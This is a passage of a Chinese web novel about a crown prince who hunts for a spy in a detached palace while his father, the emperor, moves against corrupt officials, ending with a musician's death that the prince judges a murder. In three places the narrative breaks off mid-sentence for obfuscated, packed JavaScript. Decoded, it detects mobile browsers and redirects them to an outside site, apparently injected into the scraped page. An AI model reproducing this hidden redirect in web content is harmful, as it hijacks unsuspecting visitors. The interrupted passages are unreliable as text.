我继续道:“要查人,总要有事由,有线索,至少有端倪。殿下觉得是有人和朝中勾结,那请问殿下,是教坊哪位乐者,勾结的又是朝中哪位相公?不说证据确凿,至少得有个怀疑对象吧。” 萧玠嘴唇张合,没说出个所以然。 我叹道:“现在既没有下家,又不知线人,查也是无从查起。再者,殿下就这样断定是奸细外报吗?” 萧玠问:“沈郎的意思是……” 我看着他,“从前介入这件事的只有行宫中人,嫌疑自然在教坊里。可殿下别忘了,陛下刚刚来过。” 萧玠还没开口,内侍阿子已惊声叫道:“沈郎,你怎敢这样揣测陛下!” 我忙道:“内侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这样一个月下去,依旧没什么头绪。一日清晨伏案醒来,萧玠已从案前坐着,手指搁在名册上,却没有翻动。 我叫一声:“殿下。” 萧玠回过神,只笑了笑。 我问:“殿下在想什么?” 萧玠看着满案名单草稿,笑道:“我的确不是做太子的料。这点小事都办不成。” 我道:“说不定真的是殿下想左了,若没有奸细,自然查不出个所以然。” 萧玠喃喃:“可我心里不安定。” 我道:“殿下这是关心则乱。” 萧玠没再讲话,也没有再翻开那本册子。 我便把话岔开,“殿下先擦把脸吧,吃些东西也好吃药。” 萧玠倒很依从,起身去铜盆前洗漱。他将袖口挽至肘上,两只袖子仍有些空荡,我看他将袖边卷好,又将那串光明铜钱往上推了推。 一个月来,我发觉他压根不像个太子,他没什么奢靡习气,对我们这些底下人竟相当得包容。至少一个月前,叫我和萧玠同案而食、一处盥洗这件事,天打雷劈我都不敢想。而如今不仅吃住一同,萧玠竟还将自己的用品分享给我。由于我匆匆而来,东西没带齐备,所用手巾胰子牙粉之类都是萧玠自己的东西。我本对他的宫廷日常有过一些浮华设想,但见他的取用竟都是寻常之物,便想起皇帝自个作风,倒也合情合理。 这一会阿子也进来,端来几样点心和一碗汤药,边道:“今日的药得佐酒吃的,奴婢便把剩下的一点梨花酒拿出来。只是解酒石没有带。” 萧玠正漱口,一时没答话,向我比了比,我便转首向阿子说:“殿下的意思,应该是好。” 萧玠取帕子掩了掩口,说:“那酒不是给教坊分了么?我记得是按人数装的瓶子,怎么还有剩下的?” 阿子道:“有几位吃不得酒的。像沈郎,吃酒要出疹。还有一位春玲儿,喘鸣也吃不得。再有就是当值的几位……” 他说到此处,萧玠突然抬头,“春玲儿有喘症?” 阿子点头,“是,她没有领酒,奴婢当日便多分了份诗笺给她。” 萧玠刚盥洗毕,额发微微湿漉,呼吸间带着牙粉青盐和荷叶心的清新气。他眼神突然明亮起来,问:“阿子,你瞧瞧上月六日的出宫记档,是不是她往嘉庆坊的点心局子买糕饼去?” 阿子赶紧翻看,“殿下记得不错。” “不对。”萧玠声音发紧,“嘉庆坊那边都是杨树,这时节杨花正盛,她若走那条路就是要她的命。” 阿子忙道:“殿下的意思是,她有问题?” 萧玠反倒沉静下来,“先别打草惊蛇。阿子,你到门口,说我有要事,请陛下……请秋翁亲自来一趟。” 他一切安排毕,我仍有些讶然,“殿下养于深宫,竟知道这些细枝末节。” 萧玠眼睛望向门外,“我这次出门,陛下专门嘱咐,要我避那条路。沈郎知道,我也有些症候。” 待到黄昏,宫中方有使者再来,意料之外,并没有天子身边那位大内官的身影。 但来人带来了另一桩消息。 阿子兴高采烈地复述道:“大内官不在,出宫去传陛下的旨意。殿下您猜怎么着?陛下撤了夏相公的禁足令,明日就能再度上朝了!” 12. 第 12 章 杨峥入宫求见时,萧恒在耕地。 小内侍瑞官回报时杨峥一愣,道:“陛下在宫中翻了田地?” 瑞官笑道:“六哥这活儿干了好几年了,相公常年在外,不晓得也是应当。” 杨峥被他这称呼一吓,“六哥?” 瑞官笑着解释:“相公莫怕,这是陛下的意思。现在民间的宫里的,大伙都这么叫。只是像秋内官那些老人别扭,觉得不尊重,陛下便不强求。再就是朝里的相公,拿这个做了好大的说辞,说是没有君臣礼法,碰死也要进谏。结果陛下那几次出宫查访,百姓们都这么叫,声势起来了,言官们也就没法子了。” 杨峥笑了笑:“是,我久不回京,落后了很多事。内官瞧着年轻,是新进宫吗?” 瑞官笑道:“相公好客气。我是最后一拨进宫的。” 杨峥道:“我记得前几年陛下便禁止净身进宫了。” 瑞官低声道:“可进宫能吃饭呀。” 杨峥不再说话。 瑞官将他领到地方便转身退下。杨峥久久驻步,为眼前的奇异景象。 时至黄昏,暮天血红,染尽万物。杨峥在血色中央看到一个血淋淋的萧恒。他那件穿旧的黑衣扎在腰间,上身精赤,双手把住一支铁耙。 这是杨峥第一次直视天子身体的部分,他从上头看到那大小不一的疮疤伤痕。天子肌肉鼓动,耙齿划过的土壤痕迹深深,但萧恒身上却没有半滴汗水。他俯身,露出脊背中央那条鲜红鼓动的伤痕,足像寄生了一条吸饱精血的蜈蚣。 杨峥眼中,萧恒在这一刻和天下亿万农夫并无不同。但重重宫阙将他拱卫中央也将他囚困中央,使他没法向这泥土的归属更近一步。这样一个大梁宫里的黔首,最尊贵的农夫。 萧恒在这时直起身,冲他招手笑道:“来瞧瞧。” 杨峥依言上前,低头看秧苗,问:“陛下种的菜?哟,还有面条菜,那是雪里蕻吧。” 萧恒道:“是,阿玠爱吃。” 他搁下铁耙,笑道:“还以为士嵘长于高门,是个五谷不分的。” 杨峥也笑:“已然走了八年,以前再不认得,如今也认得了。” 他抬头打量,“庭前空地不少,的确适合种地。” 萧恒道:“宫里实在占不着这么多的地,也用不着这么多的人。领你来的瑞官,比阿玠还要小些。这是丧尽天良的事。” 幼吾幼以及人之幼。 杨峥默了一会,“陛下倒没有学项羽火烧阿房。” 萧恒笑了笑,“烧了东西,建东西的人却烧不掉,治标不治本。” 杨峥道:“烧的也都是钱。” 萧恒和他对视,两人一起笑起来。 萧恒道:“我打算再过几年,把这一片全翻成田地,再到荒年就直接划出去,算到粮仓里。慢慢也不叫这些男孩女孩在宫里住了,叫他们都回家去,每天按时辰进来打扫打扫殿里,花草物件什么的打理修缮着,就当做份工,到我这边领工钱。谁家的儿子闺女活该伺候人。” 他看向杨峥,“士嵘这个时辰来找我,想必有要事。” “是。”杨峥抬头看他,“臣听闻陛下今日开释了夏太傅。” 萧恒点点头。 这无疑是一个想要缓和局势的举动。 杨峥道:“陛下也知道,查贪一事干系重大,不能怀柔。” 萧恒道:“查贪要严,但和夏秋声是两码事。” 杨峥道:“臣上报的名单陛下已经见到了。贪官三十地五十三人,尽为士族门生子侄。” 更可怕的是,这些不过冰山一角。真正顺藤摸瓜要除的凶恶,当在京中。 而天子此时开释夏秋声这一世族领袖,断然会助长世族气焰。 萧恒放下农具,转到屋中,取一封奏折给他,“阿玠那件事闹得沸沸扬扬,这几位联名上书,要三司介入审理此事。” 杨峥大惊道:“自开国至今,宫闱事务均由内侍省管理,非重案重罪、无皇帝诏谕,没有三司直接插手的前例。他们是拿殿下做逼迫!” 三司审理,必定入史在案,这是把萧玠的名声教到世族手里。如果萧恒再不权衡,萧玠的名声就坏了。 杨峥看萧恒神色,有些了然,“原本军械改革暂缓,世族有所消停。但贪墨案一出,他们又落到下风,怕陛下惩治,干脆先发制人。” “陛下是想让夏太傅出面制衡,叫世族不再对殿下步步紧逼。” 萧恒不语。 杨峥沉吟:“但若放出这个讯号,世家见陛下退让,大抵会有所反扑。” “我知道。”萧恒似乎在思索什么,“这几年局势太过水火不容,落到实处并不是好事。和世家的关系,我最近有了新的想法……” 他却没说下去,只道:“但我得好好想想这件事。先用夏秋声安抚他们,能消停一段时日。” 杨峥问:“那贪墨案……” “一码归一码。”萧恒斩钉截铁,“继续推进,不容有失。” *** 夏秋声得以还朝,但阿子发觉,萧玠并没有那么高兴。 沈娑婆默默道,估计是为了陛下的缘故。 阿子茅塞顿开。 夏秋声开释,世族势力当即水涨船高,相应地,天子行事必定受阻。在这一点上,萧玠和萧恒灵犀相通。 萧玠在第二日黄昏等来了秋童。 秋童身为皇帝近身,更有出入萧玠禁足之处的特权,开门而入时,见萧玠正坐在院中。秋童知道,这是萧玠做晚课默经的时候,而此时萧玠手中却无经文。 萧玠看到他,急忙迎上前,第一句话是:“陛下真的开释了老师?” 秋童应道:“是。” 萧玠察看他脸色,握着他手臂问:“朝上如何?” 秋童道:“都好,陛下叫殿下放宽心,一切有他。殿下要见奴婢,是有什么要交待的?” 萧玠仔细看他一会,沉声说:“不对,如果真的没事,你给老师传完旨就会来找我。秋翁,你别瞒我,朝上究竟出了什么事了?” 秋童见难以搪塞,只得将大概讲与他。萧玠却是他意料外的平静:“看来杨刺史这封折子,是切中了他们的命脉。” 他神色有些难过,“他还在这时候开释老师。” 秋童叹口气,也说不出话。 片刻后,萧玠展颜:“我没什么事情了,劳烦秋翁跑一趟。请转告陛下,骨肉难离,不在旦夕。请陛下以国事为重,我会在行宫为他日日祝祷的。” 待秋童走后,萧玠扶着石桌缓缓坐下。阿子将夜晚的汤药端上来,问道:“殿下怎么不把春玲儿的事告诉大监?咱们把此人揪出来、殿下得了清白,陛下也不用对那群老夫子这么束手束脚呀!” 萧玠道:“你觉得查出此人,我就清白了吗?” 阿子一愣。 萧玠笑道:“这只能证明宫中宫外有所勾结,可这件事还是我做的。而且个中理由,我还是不想说。说不定还会倒打一耙,说他们是看不过陛下有意徇私才冒死举发,还是个威武不能屈的好名声呢。” 他把药端在手里,叫那暖意温和手心,“阿子,如果陛下得知行宫里可能有内鬼,他会怎么做?” 阿子道:“肯定得先把殿下接回去,然后得查个水落石出才……” 阿子骤然噤声。 萧玠定定看着他,“是,陛下不会把我放在这等险地里,一定会接我回宫。朝臣会愿意吗?天子执意开释一个待罪的太子,这样明显一个短处,他们怎么会抬手放过?” 阿子哑然,“……陛下断不会叫殿下受委屈的。” 萧玠笑了笑,“这才是我最怕的事。” “我怕陛下为了我,朝他们低头。” 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566355|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玠望向汤药,碗底沉着他漆黑一张脸,面目都有些模糊不清。 他轻轻说:“阿子,一个儿子,怎么能让父亲为自己摧眉折腰?” *** 翌日清晨,萧玠正诵经,听得不远处响起鼓吹之声。他和沈娑婆对视一眼,眼中皆是诧然,起身出屋时,看到连天华盖高过红墙。 十二面龙旗高扬天际,往后是车队盖顶的装饰、各色旗阵,再往后,是遮蔽玉辂的羽扇。 大驾卤簿,唯天子可用。 阿子喃喃道:“是陛下?……可陛下出行从不用这排场呀。” 他话音未落,萧玠已快步冲到院中,听院外有人道:“开门。” 是萧恒的声音。 萧玠听到门外龙武应是,接着是钥匙插入锁孔的声音。他浑身一紧,忙叫道:“等等!” 门外动作一停,紧接着,萧恒的声音再度响起:“阿玠,是阿爹,阿爹接你回家。” 一瞬间萧玠鼻子一酸。 他抬步上前,站在门前立住,几乎能听见萧恒的呼吸声。他望着那道朱红大门,像望着萧恒的脸。 萧玠说:“我不走。” 萧恒似乎也走到门前,一个几乎和他面对面的距离。居然只有隔着门,两人才会靠得这么近。 萧恒劝道:“阿玠,别使脾气,跟阿爹回去,什么事情我们往后再说。” “朝上的事我听说了。”萧玠顿了顿,“陛下专门启用天子仪仗来接臣,不就是忍无可忍,准备和世家再次交锋了吗?我若回去,陛下没了后顾之忧,打压起世族来……还会对老师手下留情吗?” 门外陷入死寂。 许久,萧玠才听萧恒道:“你是个好孩子。” 萧玠额头抵在门上,呼吸急促。门外,萧恒连忙道:“别哭阿玠,别哭。” 萧玠多想握住他的手,却只能紧紧抓住黄铜门钉。 为什么非要这么和他讲话?有什么话……不能和他好好说呢? 半天后,萧恒才听见门缝间传来声音:“其实我不想回去,不只是为了老师。” 萧玠低声道:“我现在是戴罪之身,是你亲自下旨闭的门。现在还没有说法,你这么放我回去,那就是徇私。他们会揪着这个骂你的。阿爹,这么多年不都是这样吗?从前的皇帝大肆选妃要挨骂,你不想立后也要挨骂;他们任人唯亲要挨骂,你公平选士还要挨骂。你没做过坏事,可他们把你骂得十恶不赦。我不想他们再骂你了。” 萧恒深吸口气:“阿玠,我是你爹。我就该护着你,好吗?” “就算是臣做错了?” “你做错了吗?”萧恒问,“你是我儿子,我不知道你吗?” 门里没有答复,萧恒沉沉呼吸一下,缓声说:“阿玠,阿爹全部应付得来。你不怕,咱们回家。” 过了一会,萧玠的声音再度响起:“阿爹,如果你应付得来,我们会这样隔着这扇门说话吗?” 萧恒哑然。 萧玠靠在门上,一门之外,青天下的华盖流苏徐徐飘拂,影子落在他脸上,像一道虹光的阴翳。光明不是不想照亮他,但每次都会把他抛进黑暗里。这是他的命。 萧玠喃喃说:“其实你们中间的事,我一直没有搞清楚过。我一直以为你和阿耶两厢厌恶,但姑姑告诉我你们感情很好。我不明白你为什么付出这么大的代价也要推行新法,也不明白为什么老师宁可罢官杀头也要奋力阻止,我只想你们都好好的。就像臣当初离宫,是为了老师。现在臣为了你,也不能回宫去。你不能再为了我背负骂名了。你是我爹啊。” 萧恒沉声叫:“阿玠!” 萧玠笑了笑:“阿爹,我不明白你,我不理解你,我也帮不到你。可是,我由衷地希望,你能做你想做的事。” 他退后几步,整衣,俯身大拜。 “罪臣萧玠,恭送陛下。” 13. 第 13 章 静室之中青烟缭绕,杨观音立在案前,仰首注目一幅观音图像。 门一响,杨峥跨步走入,身上朝服未易。他不发一言,也燃一炷香插进香炉。 兄妹二人静立许久,似乎全然陶醉在观音注视下。杨峥注意到,菩萨二开八合的眼底蓝光闪烁,目光照耀处像一群蓝鹊凌空飞下,它们如受感召地直通杨观音面前,搭建一道沟通圣凡生死的蓝色鹊桥。只要他妹妹心念一动,当即能登到那座蓝桥上去,随时随刻,随处随地。 却是杨观音先开口:“听说天子去了行宫。” 杨峥不料她问这桩事,微微讶然。 杨观音微笑道:“哥哥,我的耳目不只是我的。我得替她听着看着。” 杨峥抬头端详观音面庞,叹道:“陛下要接太子回宫,但太子不肯回去。” 他顿一顿,“天家隐秘本不该由臣子议论,但……你记不记得秦君?” 杨观音颔首,“见过一次,那时他与陛下很是情睦。” 杨峥一愣,“你……知道?” 杨观音笑道:“哥哥,我有过心上人,我见过陛下看他的眼睛。只怕东宫也与他干系匪浅。” 杨峥有些惋惜,“陛下未曾直言,但对我没有刻意隐瞒。此番陛下开释夏相公,正是为着殿下的缘故。如今太子不肯回去,只怕是心存怨怼。” 杨观音没有立即答话。杨峥见她抬起眼睛,一种类似阳光的金光洒上她的睫毛,根根浸透,这时候杨观音比起他的妹妹更像一座金瞳金身的佛母宝像。 佛母是母亲。杨观音没有嫁人,不会做母亲。 杨观音说:“我记得每年仲秋,东宫都要跪奉明王图,血抄明王经,朝中非议不断,东宫却未曾更改。但每日每夜,东宫都要晨省昏定,听闻陛下几次感恙,也都是东宫侍奉在侧,衣不解带,药必亲尝亲烹。” 她静静道:“太子是纯孝之人。” 杨峥道:“你觉得,太子不肯回宫,是要陛下心无后顾,背水一战。” 杨观音只说:“哥哥既从朝上来,那陛下应当有了决断。” 杨峥突然警觉,他枯守空闺的妹妹有着异乎寻常的政治直觉。他敏锐察觉到,与这样一副脸孔的观音宝像日夜厮守,杨观音身上已经出现那理想甘露的点化之痕。 他轻轻吸口气,“是,陛下下旨,不日亲巡九州,自北至南,审理各州府贪贿之案。” 杨观音疑惑,“天子巡幸亲鞫?九州全部?” 杨峥点头,“全部。” 杨观音问:“怎么不派御史?” 杨峥看向她。 杨观音默然,与画中观音对视。 上至簪缨朱门,下至九品县衙,老虎嘴里敢夺肉,苍蝇腿上能刮油。 贪贿之风竟盛于此。 杨观音道:“陛下将朝政托付给哥哥吗?” 杨峥道:“陛下复我中书令之职,并同夏公梧,辅佐太子监国。” 公私兼顾,独劳苦一身。 杨观音久久不语,终于道:“当今天子,难得圣君。” 袅袅烟气间,杨峥随她举头上顾,画上观音低眉,如同裴兰桥垂首含笑。 *** 萧恒带领辇轿来到行宫,那对太子的禁足之令便如虚设。萧玠固不肯出,萧恒没有再强求,这时他的行宫之居不再是惩戒而是保护。既如此,萧玠也得以自由活动。 忆奴和妙娘正是在天子离去的当天下午再度步入太子居处。 整段谈话秘密进行,时间不长不短。询问结束后,太子亲自送她们去角门。反倒是离去时忆奴问了句:“听闻沈七搬到了殿下这里,却不见他在。” 萧玠笑道:“我的禁足令已经解了,也没有困他在这边的道理。” 忆奴没有多问,携妙娘一同告退。 二人出了门,一同走石子路,走了一会,袖底双手便悄悄牵连。 宫苑里女孩子亲密些是常事,挽手也不用避着人。 萧玠目送她们远去,回身进门。 阿子正收拾茶具,道:“殿下已经问清楚了,春玲儿的确有喘疾,这几日也没有发作。而且妙娘讲,这一段她频频出宫。既然有了人证,要不要提她审问?” 萧玠笑道:“这算什么人证?没有人眼看她到底和什么人交往,草草叫人,不过打草惊蛇。” “那咱们该怎么办?” 萧玠沉思一会,便解掉氅衣,又把腕间铜钱扎紧,道:“我出去一趟,你不用跟着。” 顿了顿,他又说:“你还有空闲的外衣吗?” *** 在阿子目瞪口呆里,萧玠就这样换上内侍衣冠出了门。 今日教坊演曲,众人俱不在屋子。萧玠也问过春玲儿的住处,岔了这个空子,一个人往值房去。 他从没假扮过其他身份出行,更别说暗探闺房之事,一路只敢避人走。所幸除洒扫之外众人俱去演乐,他虽担惊受怕,倒也顺利抵达。 庑房中的确空无一人,但和宦官侍卫的居所不同,萧玠一进门就被一簇雪光一照,窗户半开,临窗插一大抱梨花在青瓷瓶里。淡淡清香后,脂粉香气涌动。 萧玠有些耳热,还是迈步向前,依照竹牌找到春玲儿的铺位。 他自觉这事有些龌龊,但也没有过多犹豫,只顿了顿步,便去翻检衣箱。无果之后,又去开春玲儿枕后放置物件的妆奁。 上了锁。 萧玠一顿,摸向自己荷包。 拿出一根细铁丝。 开始撬锁。 萧玠的撬锁行径乍一看惊世骇俗,实则能追溯到奉皇三四年那段时间,当时萧恒秦灼两情正浓。秦灼爱闹脾气,有一次闹完便去萧玠的东宫宿下,别说东宫大门,连窗户都锁了。萧玠叫他搂着,睡到半夜,模模糊糊听到响动,见有人掀了帐子,直接把阿耶抱起来。 萧玠吓了一跳,阿耶已抢先一步出声,声音却压得极低:“我喊人了。” 那人道:“你喊。” 阿耶便轻声喊:“萧重光——”又低低贴在耳边道一句:“有人来奸我。” 阿爹像忍耐什么,低声道:“别乱说。” 阿耶虽这样讲,却任人抱着,没有半点挣扎迹象,继续道:“不是?不是你不在甘露殿睡觉,大半夜溜我这里来干什么?我连窗户都锁了。” 阿爹道:“我撬的锁。” 阿耶还要讲,阿爹便道:“明日渡白还要查阿玠功课,莫吵他。” 这便给了阿耶顺水推舟的理由,他一言不发地挂在阿爹身上,脸上却偏要欲迎还拒地做出恼羞模样。这样走了几步,阿耶突然挣腾一下,“我的鞋。” 阿爹却不理,腾出手将帐子落好,就这么把阿耶拐走了。萧玠思来想去,只怕阿耶穿了鞋子便如鸟插翅,会把阿爹推出去再次锁门。 的确也那么干过。 阿耶锁了好多次门,阿爹便撬了好多次锁。 每个第二天,萧玠去翻看房门窗户的锁,都没有瞧出半点损坏迹象,叹以为神。如此再三,便毕恭毕敬、诚心诚意地找他爹去学手艺。 萧恒严谨踏实地教他儿子撬锁。 这也是他教给萧玠的第一个活。 萧玠成功开的第一个锁,被萧恒很郑重地拿红纸包起来。撬锁的铁丝便被萧玠很郑重地收紧荷包里,哪怕是父子最势同水火的那几年也没有丢弃。 萧恒总能帮他,不论什么时候。 咔嗒一响,妆奁打开,里头尽是女子装饰,萧玠只粗粗认得。他正想放下盒子,突然目中一动。 他从绒花堆下捡出一支点翠钗子。 点翠工艺繁杂,取用更是活翠鸟的毛羽,是历代宫廷命妇心头之爱。但萧恒登基之后,点翠饰物和鸟兽之裙一起被明令禁止。 这是个老东西,而且瞧上去是个有规制的东西,那它的所有者如何也不该是行宫中一名乐者。 萧玠将钗子藏入袖中,正要往下翻看,突然被人从背后捂住了口。他刚要挣扎,那人在身后轻轻嘘了一声。 是沈娑婆。 窗外响起匆匆脚步声,还有女孩子的交谈:“劳你回来帮我找牙板,我明明记得系在裙子上的……” “说不定换衣裳时落下了。咱们赶紧,一会何判官要到,若叫他发觉了,这个月的月钱如何也要扣下了。” 萧玠手心生汗,捏紧袖中钗子。 他本来就身陷汤池丑闻,再叫人从闺房里发现,那才是跳进黄河洗不清。那双女子将近门前,也没法夺门跑出去。 突然之间,地转天旋,等门声响起,萧玠已经被沈娑婆塞在床底。而对方一只手垫在他脑后,身体压在他身上。 绣鞋和裙裾从眼前停住,萧玠大气都不敢出,听那女孩怨怪道:“这个春玲儿,又把匣子摊我这里。依我的性子,非要给她掼到窗户外头去。” 另一个笑道:“你敢惹她?她上头那么多贵人看着呢。快找你的牙板,赶时辰呢!” 贵人。 萧玠心中一紧。只怕这支钗子和所谓的贵人也脱不了干系。 他想唤沈娑婆,发现对方另一只手仍合在自己口上。掌心微微潮湿,热汽和触感全拢在脸上。萧玠心中有些异样,正撞见沈娑婆垂眼看过来,用眼神示意他噤声。 他头发倾到萧玠脸侧,有些痒,呼吸也是。萧玠只觉有些气闷,收紧抓住他衣衫的手指。沈娑婆挨得他很近,近到可以看清他睫毛在下睑上留下的凹痕。萧玠也是这时候发现,他眼尾有一枚浅红的小痣。 床下太过狭窄,萧玠手臂已然酸麻,好在那两女子没有滞留多久,不一会便合门走了。 沈娑婆先行起来,又伸手将萧玠拉起,问:“殿下可是哪里不适?” 萧玠摇摇头,“怎么这样问。” 沈娑婆道:“殿下心跳得很快。” 方才两人胸膛紧挨,萧玠的任何异样他都察觉得到。萧玠抬指蹭了蹭鼻子,带过这话:“沈郎怎么过来了?” 沈娑婆道:“朝廷来了贵人,我来寻殿下。” 见萧玠神色一紧,他便笑道:“殿下的老师到了。” *** 在院中见到夏秋声身影时,萧玠越走越快。那人也没像其他人一样依礼下拜,而是匆匆迎上去拉住萧玠的手,把人从上到下看了一遍,皱眉道:“殿下何以清减至此?” 萧玠笑道:“老师知道我,春日身上懒怠,吃不下什么东西的。” 夏秋声道:“城西那家果子铺子还开着,臣给殿下带了些樱桃煎。” 萧玠指指喉咙,“要咳。” 夏秋声问:“殿下肺里的症候还不好吗?” 萧玠道:“这些日很见好了,只是久不见老师,心里很牵挂。老师一切都好?给老师送的东西,府里都能收到吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏秋声叹口气:“今日早朝听陛下一直在咳。圣体若有恙,天下岂能安定?” 萧玠心揪起来,直觉却更敏锐地觉察到另一件事,“老师不想陛下去查贪贿吗?” 夏秋声默然片刻,问:“殿下还记得诸公之乱吗?” 萧玠脸色一僵。 那似乎是很多年前的事。 那件事却成为很多人生命和时代的分水岭。 那场动乱让他失去李寒,让秦灼失去阿皎,也成为打碎他家庭的致命一击。 夏秋声叹道:“诸公之乱的导火索就是新法推行太过迅猛,京中世族不满,借陛下大公离京生乱。殿下须知,治大国如烹小鲜,徐徐图之方为正道。因为陛下一时之不能忍,裴兰桥身死,文正公分尸,大梁气数至今未能回转,而反贪一事直接触动世族根本,掀起的风浪当为昔日数倍。殿下,如今朝中栋梁缺乏,陛下的身体也不如往日了。这样大张旗鼓……臣只怕,群臣骚动,非朝廷之福。” “但这不是陛下的错啊。”萧玠喃喃,“难道不怪贪贿之人,反要怪罪惩处他们的人吗?” 夏秋声语重心长,“殿下所说是为人之道,并非治国之道。天子御下,不仅要选拔贤才,更要善用庸人。贤臣有贤臣的用法,庸臣甚至奸臣也有他们的立身之处。陛下行事非黑即白,臣叹服之至,但的确并非为君之道。” 萧玠不出声,低头瞧吃干净的药碗,许久,还是道:“我不明白,老师,圣贤道理告诉我,君子皭然,涅而不淄。黑就是黑白就是白,如果黑白都能混淆,那是不是有罪无罪也可以混淆,救人杀人也可以混淆?那我们立身的到底是礼仪之邦,还是禽兽的王朝?” 夏秋声默然许久,“殿下这句话说得不错,世上之人,大多只是披了张人皮。” 窗外林叶沙沙作响,萧玠沉默一会,轻声问:“老师,人不过一日三餐,日常衣食,他们为什么要花这么多钱呢。” 夏秋声道:“溪壑可盈,欲壑难填。吃过珍馐佳肴,便难野菜糟糠。穿过锦帽貂裘,如何芒屩布衣?更别说宗族世代的排场规制,只说一次族中祭祀,从祭品取用到陈设布施,如何也不下千金。由奢入俭难,要断财路,实则断命。” 由奢入俭难吗? 萧玠问:“为什么陛下就能做到?” 夏秋声道:“所以是陛下做陛下。” *** 夏秋声离开行宫时天色已昏。 萧玠晚饭一直克化不动,但为了吃药,总要迫自己吃半碗清粥。这夜粥吃了两口便放冷了,阿子守在一旁,也不知该不该劝,反而萧玠先开口:“阿子,你说一个人节衣缩食,一支蜡烛就要点两个晚上,而另一个人只生日就要昼夜点满城的灯。他们两个过日子,是不是注定不长久?” 阿子不知如何答话,萧玠却先笑道:“这粥我吃不动了,不要倒掉,做明天朝食吃。我先吃药。” 阿子应一声,正要端粥出门,突然见一个身影快步进院,穿着正是龙武服色。 龙武卫将军尉迟松向萧玠抱拳,“行宫出了命案,臣等特来护驾,请殿下安心!” 萧玠霍地起身,拨开阿子冲出门,急声问:“怎么回事,死者是谁?” 尉迟松道:“教坊司一个乐者,名唤春玲儿。” 14. 第 14 章 行宫,清心阁。 医官手指离开垂落裙边的软绵手腕,向何仙丘摇了摇头。 何仙丘叹口气,转身向萧玠揖手,“此地只怕冲撞殿下,请殿下移驾堂前。” 萧玠却抬步上前,见桌翻案倾,春玲儿仰面躺在地上,脸色紫青,双目微睁,俨然断了气息。 他轻轻喘了几下,转头问:“什么死因?” 医官道:“应当是喘疾发作。” 萧玠问:“断气多久了?” 医官答道:“如何也有两个时辰了。” 萧玠问:“行宫一直有专人徼巡,各处房屋也有掌管。两个时辰,都没人发现吗?” 何仙丘道:“殿下有所不知,清心阁从前做收存乐器之用,后来仓库迁址,这边也渐渐废弃,是以察觉的不及时。” 萧玠蹙眉,“那她为何会死在这里?” 众人面面相觑,何仙丘取了册子,校对过奉给萧玠,“回禀殿下,今日清心阁是她当值。” 萧玠接过一看,册上记录清心阁当值人员,今日的确是春玲儿在值。笔墨没有涂改痕迹,应当是早就定下来的。 医官检查过春玲儿口鼻,用短镊夹取出残存物,道:“殿下,她鼻中有吸入的杨絮,依臣推测,应当是受杨絮刺激引发喘鸣。这边又偏僻,不得及时救治,如此窒息而死。” 萧玠低头一瞧,地上果然有吹落的杨絮,向南的窗户上也有杨花积存。 何仙丘叹道:“她是打羯鼓的,一身很好的本事,只可惜……” 萧玠心中一片冰冷。 清早才从春玲儿处发现端倪,傍晚她便横死行宫,天下真有如此巧合之事? 窗外一阵寒风吹入,萧玠猛然一个瑟缩。医官忙道:“殿□□弱,禁不得风,还是赶紧回暖阁吃些防寒的药,以免引起旁的症候。” 阿子忙取那件海龙皮大氅给他披好,萧玠有些浑噩,由他扶着出阁子。脚踏上台阶,袍摆便被吹得扬起。 不对。 今日吹的是北风,窗台上的杨花压根积存不住。 他猛地调头重新回去,急声问医官:“她真的是窒息而死?” 医官颔首道:“千真万确。” 萧玠眼睛定在虚空,喃喃道:“但窒息而死,不一定是喘鸣。” 他似乎想起什么,从春玲儿尸身旁蹲下,翻检她衣袖,又察看她暴露在外的肌肤。终于,在萧玠翻过她手掌时浑身一震,接着他迅速道:“不对,不对,春玲儿不是喘鸣,是被杀……地面也有抓痕,她临死前在挣扎!” 医官思索片刻,“但有些人喘鸣猝死也会有意识,挣扎并非异常。” 萧玠握紧女子手腕,银镯滚落时打开她的五指,“她指甲里有血,但她身上没有伤痕。你们看她的脸!” 阿子轻轻叫一声,“她的鼻子……是不是有些歪?” 萧玠说:“叫仵作,瞧瞧她的鼻骨和牙齿。春玲儿脸色绀紫,但口鼻却有些苍白,很可能是被捂死。” 何仙丘讶然,“春玲儿平日虽性子古怪,但从未与人交恶,若说谋杀,臣总觉得……” “何判官。”萧玠打断,“这是本宫的旨意,你听命就是。” 他提高声音:“龙武卫听令,封锁清心阁,不许任何人出入。再持本宫手令,请大理寺立案调查。” 他想了想,又补充道:“罪魁落网之前,先不要惊动陛下。” 等安排好一切,萧玠才放自己咳嗽起来。阿子忙替他抚背,急声道:“殿下先回去服药吧,这几日才好些,再受寒怎么得了?” 萧玠也不再强撑,攥紧结系大氅的衣带,由阿子搀扶走出门去。待服过药,萧玠咳嗽方好一些,阿子收拾药碗,见他正捻着一支点翠钗子出神。 阿子笑道:“殿下今日明察秋毫,奴婢佩服得不得了。” 萧玠因服药脸上有些热气,气色也显得好一些,闻言笑一笑:“我读过文正公审案的手记,粗略记得一些。” 阿子道:“殿下不是疑心春玲儿背后的干系么?如今她暴死在此,那可怎么得了。” 萧玠抬指看那枚钗子,微微灯火下,翠羽流光溢彩,宛如绸缎。他鼻中轻轻出一股气:“他们兵行险着,却是蠢招。从前这事不能光明正大地查处,可如今出了命案,便能由大理寺介入审理了。” 